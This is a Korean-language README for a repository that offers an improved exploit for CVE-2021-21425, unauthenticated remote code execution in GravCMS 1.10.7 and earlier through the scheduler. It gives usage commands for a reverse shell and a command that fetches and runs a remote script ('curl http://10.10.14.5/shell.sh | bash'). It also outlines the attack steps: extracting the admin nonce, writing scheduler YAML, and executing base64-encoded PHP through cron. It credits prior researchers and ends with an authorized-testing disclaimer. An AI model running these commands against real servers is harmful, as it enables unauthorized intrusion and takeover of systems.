
CVE-2021-21425 - GravCMS 1.10.7 인증되지 않은 스케줄러를 통한 RCE. CLI 인수 및 자동 base64 인코딩으로 개선된 익스플로잇.
GravCMS <= 1.10.7에서 스케줄러에 임의의 YAML을 작성하여 발생하는 인증되지 않은 원격 코드 실행(Remote Code Execution) 취약점인 CVE-2021-21425에 대한 개선된 개념 증명(proof-of-concept)입니다.
이것은 파생 작업입니다. 취약점과 원본 익스플로잇은 제 것이 아닙니다.
| 역할 | 담당 |
|---|---|
| 취약점 발견 | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — 2021년 3월 |
| 원본 PoC 제작 | "legend" — Exploit-DB EDB-49973 |
| 이 저장소의 수정 | d4ytox |
원본 EDB-49973은 스크립트에 하드코딩된 값을 수동으로 편집해야 합니다. 이 버전은 다음을 추가합니다:
-c)이는 기존 익스플로잇에 대한 사용성 개선 사항입니다. 취약점 연구를 주장하지 않습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| 영향받는 버전 | GravCMS <= 1.10.7 |
| 유형 | 인증되지 않은 RCE |
| CVSS | 9.8 (치명적) |
Grav Admin 플러그인은 특정 관리자 경로에서 인증을 검증하지 않아, 인증되지 않은 사용자가 임의의 YAML 구성을 작성할 수 있습니다. 이 익스플로잇은 스케줄러 구성을 악용하여 임의의 PHP 코드를 실행하는 cron 작업을 생성합니다.
# 리버스 셸
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# 사용자 정의 명령
python3 exploit.py -t http://target -c "id"
# 대상에서 리버스 셸 획득
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# 명령 실행
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin을 가져와 admin-nonce 토큰을 추출합니다 (취약점으로 인해 인증 불필요)/admin/config/scheduler에 POST를 전송합니다/usr/bin/php -r eval(base64_decode(...))를 통해 PHP 페이로드를 실행합니다/tmp/rev.sh에 작성하고 실행합니다cron 작업은 매분(* * * * *) 실행되므로 셸은 60초 이내에 도착합니다.
MIT이며, 이 저장소의 수정 사항에만 적용됩니다. 업스트림 PoC는 라이선스가 없으므로 해당 작성자의 모든 권리가 유보됩니다. 전체 저작자 표시 고지는 LICENSE를 참조하세요.
승인된 보안 테스트 전용입니다. 모든 시스템에 대해 테스트하기 전에 서면 허가를 받았는지 확인하세요.